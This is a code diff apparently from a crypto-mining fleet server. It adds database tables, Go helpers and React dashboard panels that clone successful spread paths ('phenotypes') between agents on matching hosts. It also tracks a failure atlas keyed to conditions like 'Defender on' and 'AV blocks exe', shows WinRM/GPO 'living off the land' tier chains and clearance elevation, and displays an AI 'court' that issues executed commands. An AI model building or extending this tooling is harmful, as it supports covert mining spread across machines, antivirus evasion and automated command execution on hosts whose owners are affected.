string + var createdAt string + if err := row.Scan( + &p.ID, &p.Fingerprint, &p.SourceAgentID, &p.SourceAgentName, &p.OS, &p.SpreadLane, + &p.ActiveTier, &tierJSON, &p.PeakHashrate, &createdAt, + ); err != nil { + return nil, err + } + if tierJSON != "" { + _ = json.Unmarshal([]byte(tierJSON), &p.TierOrder) + } + if t, err := time.Parse(time.RFC3339, createdAt); err == nil { + p.CreatedAt = t + } else if t, err := time.Parse("2006-01-02 15:04:05", createdAt); err == nil { + p.CreatedAt = t.UTC() + } + return &p, nil +} diff --git a/server/internal/db/phenotype_test.go b/server/internal/db/phenotype_test.go new file mode 100644 index 0000000..1610d41 --- /dev/null +++ b/server/internal/db/phenotype_test.go @@ -0,0 +1,56 @@ +package db + +import ( + "testing" +) + +func TestUpsertFleetPhenotypeKeepsBestPeak(t *testing.T) { + d, err := New(t.TempDir()) + if err != nil { + t.Fatal(err) + } + t.Cleanup(func() { _ = d.Close() }) + + fp := "windows|0|0|0|0|0|192.168.1" + updated, err := d.UpsertFleetPhenotype(StoredPhenotype{ + Fingerprint: fp, SourceAgentID: "a1", SourceAgentName: "worker-07", + TierOrder: []string{"wsl"}, PeakHashrate: 400, + }) + if err != nil || !updated { + t.Fatalf("first upsert: updated=%v err=%v", updated, err) + } + + updated, err = d.UpsertFleetPhenotype(StoredPhenotype{ + Fingerprint: fp, SourceAgentID: "a2", SourceAgentName: "worker-12", + TierOrder: []string{"container"}, PeakHashrate: 200, + }) + if err != nil { + t.Fatal(err) + } + if updated { + t.Fatal("lower peak should not replace winner") + } + + got, err := d.GetFleetPhenotypeByFingerprint(fp) + if err != nil { + t.Fatal(err) + } + if got.SourceAgentName != "worker-07" || got.PeakHashrate != 400 { + t.Fatalf("unexpected best phenotype: %+v", got) + } + + updated, err = d.UpsertFleetPhenotype(StoredPhenotype{ + Fingerprint: fp, SourceAgentID: "a3", SourceAgentName: "worker-99", + TierOrder: []string{"cpu_inprocess"}, PeakHashrate: 900, + }) + if err != nil || !updated { + t.Fatalf("higher peak upsert: updated=%v err=%v", updated, err) + } + got, err = d.GetFleetPhenotypeByFingerprint(fp) + if err != nil { + t.Fatal(err) + } + if got.SourceAgentName != "worker-99" || got.PeakHashrate != 900 { + t.Fatalf("expected new winner, got %+v", got) + } +} diff --git a/server/internal/db/sqlite.go b/server/internal/db/sqlite.go index 1dfe37c..648bf78 100644 --- a/server/internal/db/sqlite.go +++ b/server/internal/db/sqlite.go @@ -214,6 +214,30 @@ func (d *Database) migrate() error { strategy_json TEXT NOT NULL, updated_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP )`, + `CREATE TABLE IF NOT EXISTS failure_atlas ( + id INTEGER PRIMARY KEY AUTOINCREMENT, + fingerprint_bucket TEXT NOT NULL, + condition TEXT NOT NULL, + tier TEXT NOT NULL, + fail_count INTEGER NOT NULL DEFAULT 0, + updated_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP, + UNIQUE(fingerprint_bucket, condition, tier) + )`, + `CREATE INDEX IF NOT EXISTS idx_failure_atlas_bucket ON failure_atlas(fingerprint_bucket)`, + `CREATE INDEX IF NOT EXISTS idx_failure_atlas_tier ON failure_atlas(tier)`, + `CREATE TABLE IF NOT EXISTS fleet_phenotypes ( + id TEXT PRIMARY KEY, + fingerprint TEXT NOT NULL UNIQUE, + source_agent_id TEXT NOT NULL, + source_agent_name TEXT NOT NULL, + os TEXT NOT NULL DEFAULT '', + spread_lane TEXT NOT NULL DEFAULT '', + active_tier TEXT NOT NULL DEFAULT '', + tier_order_json TEXT NOT NULL DEFAULT '[]', + peak_hashrate REAL NOT NULL DEFAULT 0, + created_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP + )`, + `CREATE INDEX IF NOT EXISTS idx_fleet_phenotypes_fingerprint ON fleet_phenotypes(fingerprint)`, } for _, m := range extraMigrations { if _, err := d.Exec(m); err != nil { diff --git a/server/internal/models/agent.go b/server/internal/models/agent.go index 99fc5d2..c1dddc6 100644 --- a/server/internal/models/agent.go +++ b/server/internal/models/agent.go @@ -122,11 +122,27 @@ type Agent struct { // Last successful discover_and_join supply-chain lane. JoinLane string `json:"join_lane,omitempty"` + // Session security clearance (L0–L4); set live by WSHub, not persisted. + ClearanceLevel int `json:"clearance_level,omitempty"` + + // Fleet phenotype cloned from a sibling with the same host fingerprint (WS auth only). + InheritedPhenotype *AgentInheritedPhenotype `json:"inherited_phenotype,omitempty"` + // Authorized fleet vulnerability recon (read-only LOTL probe tier) VulnFindings []VulnFinding `json:"vuln_findings,omitempty"` VulnRiskScore *int `json:"vuln_risk_score,omitempty"` } +// AgentInheritedPhenotype is the dashboard view of a cloned winning path. +type AgentInheritedPhenotype struct { + SourceAgentName string `json:"source_agent_name"` + Fingerprint string `json:"fingerprint,omitempty"` + SpreadLane string `json:"spread_lane,omitempty"` + TierOrder []string `json:"tier_order,omitempty"` + ActiveTier string `json:"active_tier,omitempty"` + PeakHashrate float64 `json:"peak_hashrate,omitempty"` +} + // VulnFinding mirrors agent vuln_findings stats payload. type VulnFinding struct { CVEID string `json:"cve_id"` diff --git a/server/internal/strategy/phenotype.go b/server/internal/strategy/phenotype.go new file mode 100644 index 0000000..1692f8d --- /dev/null +++ b/server/internal/strategy/phenotype.go @@ -0,0 +1,77 @@ +package strategy + +import ( + "strings" + "time" +) + +// FleetPhenotype is the best-known winning path for a host fingerprint bucket. +type FleetPhenotype struct { + ID string `json:"id"` + SourceAgentID string `json:"source_agent_id"` + SourceAgentName string `json:"source_agent_name"` + Fingerprint string `json:"fingerprint"` + OS string `json:"os"` + SpreadLane string `json:"spread_lane,omitempty"` + ActiveTier string `json:"active_tier,omitempty"` + TierOrder []string `json:"tier_order"` + PeakHashrate float64 `json:"peak_hashrate"` + CreatedAt time.Time `json:"created_at"` +} + +// InheritedPhenotype is pushed to sibling agents on auth when fingerprint matches. +type InheritedPhenotype struct { + SourceAgentName string `json:"source_agent_name"` + Fingerprint string `json:"fingerprint"` + SpreadLane string `json:"spread_lane,omitempty"` + TierOrder []string `json:"tier_order"` + ActiveTier string `json:"active_tier,omitempty"` + PeakHashrate float64 `json:"peak_hashrate,omitempty"` +} + +// TierAttempt is a minimal stats/tier_report attempt for phenotype tier_order building. +type TierAttempt struct { + Tier string + OK bool +} + +// BuildWinningTierOrder derives spread+mining tier order from successful attempts. +func BuildWinningTierOrder(attempts []TierAttempt, activeTier string, fallback []string) []string { + seen := make(map[string]bool) + order := make([]string, 0, len(attempts)+1) + for _, a := range attempts { + tier := strings.TrimSpace(a.Tier) + if !a.OK || tier == "" || seen[tier] { + continue + } + order = append(order, tier) + seen[tier] = true + } + if len(order) == 0 && len(fallback) > 0 { + for _, t := range fallback { + tier := strings.TrimSpace(t) + if tier == "" || seen[tier] { + continue + } + order = append(order, tier) + seen[tier] = true + } + } + activeTier = strings.TrimSpace(activeTier) + if activeTier != "" && !seen[activeTier] { + order = append(order, activeTier) + } + return order +} + +// ToInherited converts a stored phenotype into an auth payload for sibling agents. +func (p FleetPhenotype) ToInherited() InheritedPhenotype { + return InheritedPhenotype{ + SourceAgentName: p.SourceAgentName, + Fingerprint: p.Fingerprint, + SpreadLane: p.SpreadLane, + TierOrder: append([]string(nil), p.TierOrder...), + ActiveTier: p.ActiveTier, + PeakHashrate: p.PeakHashrate, + } +} diff --git a/server/internal/strategy/phenotype_store.go b/server/internal/strategy/phenotype_store.go new file mode 100644 index 0000000..b4cfc79 --- /dev/null +++ b/server/internal/strategy/phenotype_store.go @@ -0,0 +1,35 @@ +package strategy + +import "crypto-miner-server/internal/db" + +// PhenotypeToStored converts a strategy phenotype into a DB row. +func PhenotypeToStored(p FleetPhenotype) db.StoredPhenotype { + return db.StoredPhenotype{ + ID: p.ID, + SourceAgentID: p.SourceAgentID, + SourceAgentName: p.SourceAgentName, + Fingerprint: p.Fingerprint, + OS: p.OS, + SpreadLane: p.SpreadLane, + ActiveTier: p.ActiveTier, + TierOrder: append([]string(nil), p.TierOrder...), + PeakHashrate: p.PeakHashrate, + CreatedAt: p.CreatedAt, + } +} + +// PhenotypeFromStored converts a DB row into a strategy phenotype. +func PhenotypeFromStored(p db.StoredPhenotype) FleetPhenotype { + return FleetPhenotype{ + ID: p.ID, + SourceAgentID: p.SourceAgentID, + SourceAgentName: p.SourceAgentName, + Fingerprint: p.Fingerprint, + OS: p.OS, + SpreadLane: p.SpreadLane, + ActiveTier: p.ActiveTier, + TierOrder: append([]string(nil), p.TierOrder...), + PeakHashrate: p.PeakHashrate, + CreatedAt: p.CreatedAt, + } +} diff --git a/server/internal/strategy/phenotype_test.go b/server/internal/strategy/phenotype_test.go new file mode 100644 index 0000000..cabcf25 --- /dev/null +++ b/server/internal/strategy/phenotype_test.go @@ -0,0 +1,17 @@ +package strategy + +import "testing" + +func TestBuildWinningTierOrderFromAttempts(t *testing.T) { + order := BuildWinningTierOrder([]TierAttempt{ + {Tier: "vuln_recon", OK: true}, + {Tier: "docker", OK: false}, + {Tier: "wsl", OK: true}, + }, "cpu_inprocess", nil) + if len(order) != 3 { + t.Fatalf("order = %v", order) + } + if order[0] != "vuln_recon" || order[1] != "wsl" || order[2] != "cpu_inprocess" { + t.Fatalf("unexpected order: %v", order) + } +} diff --git a/server/web/src/components/Fleet/AccessDepthPanel.css b/server/web/src/components/Fleet/AccessDepthPanel.css index c7f3cdc..87b044c 100644 --- a/server/web/src/components/Fleet/AccessDepthPanel.css +++ b/server/web/src/components/Fleet/AccessDepthPanel.css @@ -69,6 +69,12 @@ font-style: italic; } +.access-depth-phenotype { + margin-top: 0.45rem; + font-size: 0.72rem; + color: var(--text-muted); +} + .access-depth-join { display: flex; flex-wrap: wrap; @@ -192,6 +198,21 @@ border: 1px solid rgba(255, 180, 60, 0.3); } +.access-depth-atlas-list { + margin: 0; + padding-left: 1.1rem; + font-size: 0.78rem; + color: var(--text-muted); +} + +.access-depth-atlas-row { + margin: 0.2rem 0; +} + +.access-depth-onion-item--skipped_by_atlas .access-depth-onion-label { + opacity: 0.7; +} + .access-depth-source { margin-left: 0.35rem; color: var(--text-muted); @@ -220,3 +241,35 @@ .access-depth-calibrate-link:hover { text-decoration: underline; } + +.access-depth-clearance-badge { + font-family: var(--font-tech); + font-size: 0.68rem; + font-weight: 700; + letter-spacing: 0.08em; + color: var(--neon-cyan); + border: 1px solid rgba(0, 245, 255, 0.45); + border-radius: 3px; + padding: 1px 6px; + cursor: help; +} + +.access-depth-clearance-flash { + font-size: 0.68rem; + color: var(--neon-amber, #ffb347); + background: rgba(255, 180, 60, 0.12); + border: 1px solid rgba(255, 180, 60, 0.45); + border-radius: 3px; + padding: 2px 8px; + animation: access-depth-clearance-flash 1.2s ease-in-out 2; +} + +@keyframes access-depth-clearance-flash { + 0%, + 100% { + opacity: 1; + } + 50% { + opacity: 0.45; + } +} diff --git a/server/web/src/components/Fleet/AccessDepthPanel.test.tsx b/server/web/src/components/Fleet/AccessDepthPanel.test.tsx index 9f61a4b..918dc2b 100644 --- a/server/web/src/components/Fleet/AccessDepthPanel.test.tsx +++ b/server/web/src/components/Fleet/AccessDepthPanel.test.tsx @@ -12,6 +12,10 @@ import { parseAccessDepthServerPolicy, } from '../../help/accessDepth'; +vi.mock('../../hooks/useWebSocket', () => ({ + useWebSocket: () => ({ latestMessage: null }), +})); + vi.mock('../../api/client', () => ({ api: { getConfig: vi.fn().mockResolvedValue({ @@ -155,6 +159,22 @@ describe('AccessDepthPanel', () => { expect(await screen.findByText('WinRM')).toBeInTheDocument(); }); + it('shows phenotype source when inherited phenotype present', async () => { + renderPanel( + mockAgent({ + platform: 'windows', + inherited_phenotype: { + source_agent_name: 'worker-07', + spread_lane: 'winrm', + tier_order: ['container', 'wsl', 'cpu_inprocess'], + }, + }), + ); + expect(await screen.findByText(/phenotype cloned from/i)).toBeInTheDocument(); + expect(screen.getByText('worker-07')).toBeInTheDocument(); + expect(await screen.findByText('WinRM')).toBeInTheDocument(); + }); + it('renders adaptive strategy reasoning fixtures', () => { renderPanel( mockAgent({ platform: 'windows', status: 'online' }), @@ -180,6 +200,13 @@ describe('AccessDepthPanel', () => { expect(screen.getByText(/confidence 72%/i)).toBeInTheDocument(); }); + it('renders clearance badge L0–L4 with tooltip permissions', () => { + renderPanel(mockAgent({ clearance_level: 2 })); + const badge = screen.getByLabelText(/Clearance L2/i); + expect(badge).toHaveTextContent('L2'); + expect(badge.getAttribute('title')).toMatch(/spread/i); + }); + it('shows pending chain when tiers not yet attempted', () => { renderPanel( mockAgent({ diff --git a/server/web/src/components/Fleet/AccessDepthPanel.tsx b/server/web/src/components/Fleet/AccessDepthPanel.tsx index 40f0d02..72de2f4 100644 --- a/server/web/src/components/Fleet/AccessDepthPanel.tsx +++ b/server/web/src/components/Fleet/AccessDepthPanel.tsx @@ -1,11 +1,18 @@ -import { useEffect, useMemo, useState } from 'react'; +import { useEffect, useMemo, useRef, useState } from 'react'; import { Link } from 'react-router-dom'; import { api } from '../../api/client'; import { + atlasSkipDisplayLabel, buildAccessDepthModel, parseAccessDepthServerPolicy, type AccessDepthDiagnostics, } from '../../help/accessDepth'; +import { + clearanceLabel, + clearancePermissions, + formatClearanceElevation, +} from '../../help/clearance'; +import { useWebSocket } from '../../hooks/useWebSocket'; import type { Agent } from '../../types'; import { HelpTip } from '../HelpTip'; import JoinLaneBadge from './JoinLaneBadge'; @@ -31,6 +38,9 @@ function OnionList({ rows, empty }: { rows: ReturnType{row.label} {row.status === 'active' && active} {row.status === 'skipped' && skipped} + {row.status === 'skipped_by_atlas' && ( + atlas skip + )} {row.status === 'done' && ok} {row.status === 'failed' && fail} {row.status === 'pending' && pending} @@ -63,8 +73,38 @@ function AttemptMiniList({ } export default function AccessDepthPanel({ agent, diagnostics }: Props) { + const { latestMessage } = useWebSocket(); const [policyLoaded, setPolicyLoaded] = useState(false); const [serverPolicy, setServerPolicy] = useState(parseAccessDepthServerPolicy({})); + const [elevationFlash, setElevationFlash] = useState(null); + const flashTimerRef = useRef(null); + + const clearanceLevel = agent.clearance_level ?? 1; + + useEffect(() => { + if (!latestMessage || latestMessage.type !== 'clearance_elevated') return; + const p = latestMessage.payload as { + agent_id?: string; + to_level?: number; + source?: string; + reason?: string; + }; + if (p.agent_id !== agent.id || typeof p.to_level !== 'number') return; + const text = formatClearanceElevation({ + to_level: p.to_level, + source: p.source, + reason: p.reason, + }); + setElevationFlash(text); + if (flashTimerRef.current != null) window.clearTimeout(flashTimerRef.current); + flashTimerRef.current = window.setTimeout(() => setElevationFlash(null), 6000); + }, [latestMessage, agent.id]); + + useEffect(() => { + return () => { + if (flashTimerRef.current != null) window.clearTimeout(flashTimerRef.current); + }; + }, []); useEffect(() => { let cancelled = false; @@ -95,6 +135,18 @@ export default function AccessDepthPanel({ agent, diagnostics }: Props) { ACCESS DEPTH + + {clearanceLabel(clearanceLevel)} + + {elevationFlash && ( + + {elevationFlash} + + )} {!policyLoaded && loading policy…} @@ -137,6 +189,17 @@ export default function AccessDepthPanel({ agent, diagnostics }: Props) { ) : (
No join lane yet
)} + {model.phenotypeSource && ( +
+ phenotype cloned from {model.phenotypeSource} + {model.phenotypeSpreadLane ? ( + <> + {' '} + · spread + + ) : null} +
+ )}
@@ -161,6 +224,19 @@ export default function AccessDepthPanel({ agent, diagnostics }: Props) {
+ {model.atlasSkips.length > 0 && ( +
+
Atlas skips
+
    + {model.atlasSkips.map((skip) => ( +
  • + {atlasSkipDisplayLabel(skip)} +
  • + ))} +
+
+ )} + {model.strategyReasoning.length > 0 && (
diff --git a/server/web/src/components/Lotl/LotlTierTimeline.test.tsx b/server/web/src/components/Lotl/LotlTierTimeline.test.tsx index 5a8218c..3846ade 100644 --- a/server/web/src/components/Lotl/LotlTierTimeline.test.tsx +++ b/server/web/src/components/Lotl/LotlTierTimeline.test.tsx @@ -40,6 +40,20 @@ describe('LotlTierTimeline', () => { expect(screen.getByText('GPO')).toBeInTheDocument(); }); + it('shows cloned-from badge when inherited phenotype present', () => { + const order = resolveLotlTierOrder(); + const agent = mockAgent({ + inherited_phenotype: { + source_agent_name: 'worker-07', + tier_order: ['container', 'wsl'], + spread_lane: 'winrm', + }, + }); + const model = buildLotlTimelineModel(agent, order, []); + render(); + expect(screen.getByText('Cloned from worker-07')).toBeInTheDocument(); + }); + it('expands attempt detail on tier click', () => { const order = resolveLotlTierOrder(); const agent = mockAgent({ diff --git a/server/web/src/components/Lotl/LotlTierTimeline.tsx b/server/web/src/components/Lotl/LotlTierTimeline.tsx index d66b4b1..53410d6 100644 --- a/server/web/src/components/Lotl/LotlTierTimeline.tsx +++ b/server/web/src/components/Lotl/LotlTierTimeline.tsx @@ -7,6 +7,7 @@ import '../Fleet/LotlVisuals.css'; interface Props { model: LotlTimelineModel; agentName: string; + clonedFrom?: string; className?: string; } @@ -17,6 +18,7 @@ function stateGlyph(state: LotlTimelineTierRow['state']): string { case 'failed': return '✗'; case 'skipped': + case 'skipped_by_atlas': return '—'; case 'trying': return '◉'; @@ -49,14 +51,18 @@ function TierDetail({ row }: { row: LotlTimelineTierRow }) { ) : (
- {row.state === 'skipped' ? 'Tier skipped by policy' : 'No attempt recorded yet'} + {row.state === 'skipped_by_atlas' + ? 'Tier skipped by failure atlas' + : row.state === 'skipped' + ? 'Tier skipped by policy' + : 'No attempt recorded yet'}
)}
); } -export default function LotlTierTimeline({ model, agentName, className = '' }: Props) { +export default function LotlTierTimeline({ model, agentName, clonedFrom, className = '' }: Props) { const [expandedTier, setExpandedTier] = useState(null); const expandedRow = useMemo( @@ -73,7 +79,14 @@ export default function LotlTierTimeline({ model, agentName, className = '' }: P
ONION TIER CHAIN
-
{agentName}
+
+ {agentName} + {clonedFrom && ( + + Cloned from {clonedFrom} + + )} +
{model.succeeded}/{model.total} tiers succeeded diff --git a/server/web/src/components/Lotl/LotlTimeline.css b/server/web/src/components/Lotl/LotlTimeline.css index 3740c30..8613cd2 100644 --- a/server/web/src/components/Lotl/LotlTimeline.css +++ b/server/web/src/components/Lotl/LotlTimeline.css @@ -116,6 +116,19 @@ color: var(--text-muted); } +.lotl-phenotype-badge { + display: inline-block; + margin-left: 0.5rem; + padding: 0.1rem 0.45rem; + border-radius: 3px; + font-size: 0.62rem; + letter-spacing: 0.06em; + text-transform: uppercase; + color: #9dffb8; + background: rgba(40, 120, 80, 0.25); + border: 1px solid rgba(80, 200, 130, 0.35); +} + .lotl-tier-timeline-progress { font-family: var(--font-tech); font-size: 0.75rem; @@ -185,12 +198,17 @@ border-color: rgba(255, 255, 255, 0.1); } -.lotl-tier-step--skipped .lotl-tier-node { +.lotl-tier-step--skipped .lotl-tier-node, +.lotl-tier-step--skipped_by_atlas .lotl-tier-node { color: rgba(180, 180, 190, 0.5); border-color: rgba(255, 255, 255, 0.06); opacity: 0.55; } +.lotl-tier-step--skipped_by_atlas .lotl-tier-node { + border-color: rgba(255, 140, 80, 0.25); +} + .lotl-tier-step--success .lotl-tier-node { color: #7dffaa; border-color: rgba(100, 220, 140, 0.45); @@ -302,6 +320,43 @@ margin-bottom: 0.25rem; } +.lotl-ai-decision--court { + border-color: rgba(255, 170, 100, 0.35); + background: rgba(40, 24, 8, 0.35); +} + +.lotl-court-role { + margin-top: 0.35rem; +} + +.lotl-court-role-label { + display: block; + font-family: var(--font-tech); + font-size: 0.58rem; + letter-spacing: 0.08em; + color: #ffaa66; + margin-bottom: 0.15rem; +} + +.lotl-court-role-text { + color: var(--text-muted); + white-space: pre-wrap; + word-break: break-word; + line-height: 1.35; +} + +.lotl-ai-decision-commands { + margin-top: 0.25rem; + font-size: 0.68rem; + color: #7dffaa; +} + +.lotl-ai-decision-ts { + margin-top: 0.25rem; + font-size: 0.65rem; + color: var(--text-muted); +} + .lotl-timeline-links { margin-top: 0.85rem; font-size: 0.72rem; @@ -324,6 +379,43 @@ font-size: 0.85rem; } +.lotl-clearance-timeline { + margin-top: 0.85rem; + padding: 0.65rem 0.75rem; + border-radius: var(--deck-card-radius, 6px); + border: 1px solid rgba(255, 180, 60, 0.25); + background: rgba(8, 6, 4, 0.45); +} + +.lotl-clearance-event-list { + list-style: none; + margin: 0.35rem 0 0; + padding: 0; +} + +.lotl-clearance-event-row { + display: flex; + flex-wrap: wrap; + justify-content: space-between; + gap: 0.35rem 0.75rem; + font-size: 0.68rem; + padding: 0.2rem 0; + border-bottom: 1px solid rgba(255, 255, 255, 0.05); +} + +.lotl-clearance-event-row:last-child { + border-bottom: none; +} + +.lotl-clearance-event-summary { + color: var(--neon-amber, #ffb347); +} + +.lotl-clearance-event-ts { + color: var(--text-muted); + font-size: 0.62rem; +} + @media (max-width: 720px) { .lotl-tier-track { flex-direction: column; diff --git a/server/web/src/help/accessDepth.ts b/server/web/src/help/accessDepth.ts index 248012b..6530720 100644 --- a/server/web/src/help/accessDepth.ts +++ b/server/web/src/help/accessDepth.ts @@ -27,10 +27,17 @@ export interface AdaptiveStrategyView { updated_at?: string; } +export interface AtlasSkipView { + tier: string; + condition: string; + reason: string; +} + export interface AccessDepthDiagnostics { environment_probes?: EnvironmentProbes; tier_chain_order?: string[]; tier_chain_skipped?: string[]; + atlas_skips?: AtlasSkipView[]; lotl_tier?: string; lotl_attempts?: TierAttempt[]; active_method?: string; @@ -67,7 +74,8 @@ export interface OnionTierRow { index: number; tier: string; label: string; - status: 'active' | 'skipped' | 'pending' | 'done' | 'failed' | 'neutral'; + status: 'active' | 'skipped' | 'skipped_by_atlas' | 'pending' | 'done' | 'failed' | 'neutral'; + atlasCondition?: string; } export interface AccessDepthModel { @@ -92,6 +100,9 @@ export interface AccessDepthModel { adaptiveActive: boolean; strategyReasoning: StrategyReason[]; adaptiveConfidence?: number; + atlasSkips: AtlasSkipView[]; + phenotypeSource?: string; + phenotypeSpreadLane?: string; } /** Default mining tier onion pushed at agent auth when Calibrate sends no override. */ @@ -143,11 +154,13 @@ export function parseAccessDepthDiagnostics(raw: Record): Acces const adaptive = parseAdaptiveStrategy(raw.adaptive_strategy); const reasoning = parseStrategyReasoning(raw.strategy_reasoning) ?? adaptive?.reasoning; + const atlas_skips = parseAtlasSkips(raw.atlas_skips); return { environment_probes: parseEnvironmentProbes(raw.environment_probes), tier_chain_order: tier_chain_order?.length ? tier_chain_order : undefined, tier_chain_skipped: tier_chain_skipped?.length ? tier_chain_skipped : undefined, + atlas_skips, lotl_tier, lotl_attempts: attempts.length ? attempts : undefined, active_method: typeof raw.active_method === 'string' ? raw.active_method : undefined, @@ -216,6 +229,43 @@ function probeChips(probes: EnvironmentProbes | undefined, agent: Agent): ProbeC return chips.filter((c) => c.ok || probes != null); } +function parseAtlasSkips(raw: unknown): AtlasSkipView[] | undefined { + if (!Array.isArray(raw)) return undefined; + const out: AtlasSkipView[] = []; + for (const row of raw) { + if (!row || typeof row !== 'object') continue; + const r = row as Record; + if (typeof r.tier !== 'string' || typeof r.condition !== 'string') continue; + out.push({ + tier: r.tier, + condition: r.condition, + reason: typeof r.reason === 'string' ? r.reason : '', + }); + } + return out.length ? out : undefined; +} + +export function atlasConditionLabel(condition: string): string { + switch (condition) { + case 'defender_on': + return 'Defender on'; + case 'no_docker': + return 'no Docker'; + case 'av_blocks_exe': + return 'AV blocks exe'; + case 'goos=windows': + return 'Windows'; + case 'goos=linux': + return 'Linux'; + default: + return condition.replace(/_/g, ' '); + } +} + +export function atlasSkipDisplayLabel(skip: AtlasSkipView): string { + return `${formatLotlTierLabel(skip.tier)} (${atlasConditionLabel(skip.condition)})`; +} + function spreadCapabilities(agent: Agent): string[] { const caps = agent.capabilities; const out: string[] = []; @@ -303,8 +353,13 @@ function buildOnionRows( skipped: string[], attempts: TierAttempt[], activeTier?: string, + atlasSkips: AtlasSkipView[] = [], ): OnionTierRow[] { const skippedSet = new Set(skipped.map((s) => s.toLowerCase())); + const atlasByTier = new Map(); + for (const skip of atlasSkips) { + atlasByTier.set(skip.tier.toLowerCase(), skip); + } const okSet = new Set(attempts.filter((a) => a.ok).map((a) => a.tier.toLowerCase())); const failSet = new Set(attempts.filter((a) => !a.ok).map((a) => a.tier.toLowerCase())); const active = activeTier?.toLowerCase(); @@ -313,12 +368,15 @@ function buildOnionRows( const fullOrder = [ ...order, ...skipped.filter((s) => !orderLower.has(s.toLowerCase())), + ...atlasSkips.map((s) => s.tier).filter((s) => !orderLower.has(s.toLowerCase()) && !skippedSet.has(s.toLowerCase())), ]; return fullOrder.map((tier, i) => { const key = tier.toLowerCase(); + const atlas = atlasByTier.get(key); let status: OnionTierRow['status'] = 'neutral'; if (active && key === active) status = 'active'; + else if (atlas) status = 'skipped_by_atlas'; else if (skippedSet.has(key)) status = 'skipped'; else if (okSet.has(key)) status = 'done'; else if (failSet.has(key)) status = 'failed'; @@ -329,6 +387,7 @@ function buildOnionRows( tier, label: formatLotlTierLabel(tier), status, + atlasCondition: atlas?.condition, }; }); } @@ -367,6 +426,7 @@ export function buildAccessDepthModel( ): AccessDepthModel { const attempts = diagnostics?.lotl_attempts ?? agent.lotl_attempts ?? []; const activeTier = diagnostics?.lotl_tier ?? agent.lotl_tier; + const atlasSkips = diagnostics?.atlas_skips ?? []; const { order, skipped, source } = resolveMiningOrder(diagnostics, policy, agent); const pending = computePendingTiers(order, skipped, attempts); const inProgressTier = detectInProgress(agent, attempts, pending, activeTier); @@ -402,7 +462,7 @@ export function buildAccessDepthModel( inProgressLabel: inProgressTier ? formatLotlTierLabel(inProgressTier) : undefined, pendingTiers: pending, pendingLabels: pending.map(formatLotlTierLabel), - miningOnion: buildOnionRows(order, skipped, attempts, activeTier), + miningOnion: buildOnionRows(order, skipped, attempts, activeTier, atlasSkips), spreadOnion: spreadOrder.map((tier, i) => ({ index: i + 1, tier, @@ -414,6 +474,9 @@ export function buildAccessDepthModel( adaptiveActive: source === 'adaptive', strategyReasoning: diagnostics?.strategy_reasoning ?? diagnostics?.adaptive_strategy?.reasoning ?? [], adaptiveConfidence: diagnostics?.adaptive_strategy?.confidence, + atlasSkips, + phenotypeSource: agent.inherited_phenotype?.source_agent_name, + phenotypeSpreadLane: agent.inherited_phenotype?.spread_lane, }; } diff --git a/server/web/src/pages/LotlTimelinePage.tsx b/server/web/src/pages/LotlTimelinePage.tsx index 039ddad..4f3364e 100644 --- a/server/web/src/pages/LotlTimelinePage.tsx +++ b/server/web/src/pages/LotlTimelinePage.tsx @@ -6,6 +6,7 @@ import { buildLotlTimelineModel, resolveLotlTierOrder, } from '../help/lotlTimeline'; +import { clearanceTimelineSummary, type ClearanceEventRecord } from '../help/clearance'; import { parseAccessDepthServerPolicy } from '../help/accessDepth'; import type { AIDecisionRecord } from '../types'; import LotlFleetOverview from '../components/Lotl/LotlFleetOverview'; @@ -19,7 +20,16 @@ export default function LotlTimelinePage() { const [searchParams, setSearchParams] = useSearchParams(); const [tierOrder, setTierOrder] = useState(() => resolveLotlTierOrder()); const [aiControlEnabled, setAiControlEnabled] = useState(false); - const [lastDecision, setLastDecision] = useState<{ response?: string; commands?: string; ts?: string } | null>(null); + const [lastDecision, setLastDecision] = useState<{ + response?: string; + commands?: string; + ts?: string; + court_session?: boolean; + prosecutor_snippet?: string; + defender_snippet?: string; + judge_verdict?: string; + } | null>(null); + const [clearanceEvents, setClearanceEvents] = useState([]); const paramAgentId = searchParams.get('agent') ?? ''; @@ -60,6 +70,10 @@ export default function LotlTimelinePage() { response: row.response, commands: row.commands_executed, ts: row.ts, + court_session: row.court_session, + prosecutor_snippet: row.prosecutor_snippet, + defender_snippet: row.defender_snippet, + judge_verdict: row.judge_verdict, }); } else { setLastDecision(null); @@ -73,6 +87,25 @@ export default function LotlTimelinePage() { }; }, [selectedAgent, aiControlEnabled]); + useEffect(() => { + if (!selectedAgent) { + setClearanceEvents([]); + return; + } + let cancelled = false; + api + .getClearanceEvents(selectedAgent.id, 20) + .then((rows) => { + if (!cancelled) setClearanceEvents(rows ?? []); + }) + .catch(() => { + if (!cancelled) setClearanceEvents([]); + }); + return () => { + cancelled = true; + }; + }, [selectedAgent]); + const selectAgent = useCallback( (agentId: string) => { setSearchParams({ agent: agentId }, { replace: true }); @@ -88,6 +121,8 @@ export default function LotlTimelinePage() { selectedAgent, tierOrder, selectedAgent.lotl_attempts ?? [], + [], + selectedAgent.atlas_skips ?? [], ); }, [selectedAgent, tierOrder]); @@ -124,27 +159,81 @@ export default function LotlTimelinePage() {
) : timelineModel ? ( <> - + + + {clearanceEvents.length > 0 && ( +
+
CLEARANCE HISTORY
+
    + {clearanceEvents.map((ev) => ( +
  • {clearanceTimelineSummary(ev)}
  • + ))} +
+
+ )} {aiEnabled && lastDecision && ( -
-
LAST AI DECISION
- {lastDecision.response && ( -
{lastDecision.response}
+
+
+ {lastDecision.court_session ? 'SINGULAR MACHINE COURT' : 'LAST AI DECISION'} +
+ {lastDecision.court_session ? ( + <> + {lastDecision.prosecutor_snippet && ( +
+ Prosecutor +
{lastDecision.prosecutor_snippet}
+
+ )} + {lastDecision.defender_snippet && ( +
+ Defender +
{lastDecision.defender_snippet}
+
+ )} + {(lastDecision.judge_verdict || lastDecision.response) && ( +
+ Judge +
+ {lastDecision.judge_verdict || lastDecision.response} +
+
+ )} + + ) : ( + lastDecision.response && ( +
{lastDecision.response}
+ ) )} {lastDecision.commands && ( -
- {lastDecision.commands} -
+
{lastDecision.commands}
)} {lastDecision.ts && ( -
+
{new Date(lastDecision.ts).toLocaleString()}
)}
)} + {clearanceEvents.length > 0 && ( +
+
CLEARANCE EVENTS
+
    + {clearanceEvents.map((ev) => ( +
  • + {clearanceTimelineSummary(ev)} + {new Date(ev.ts).toLocaleString()} +
  • + ))} +
+
+ )} +

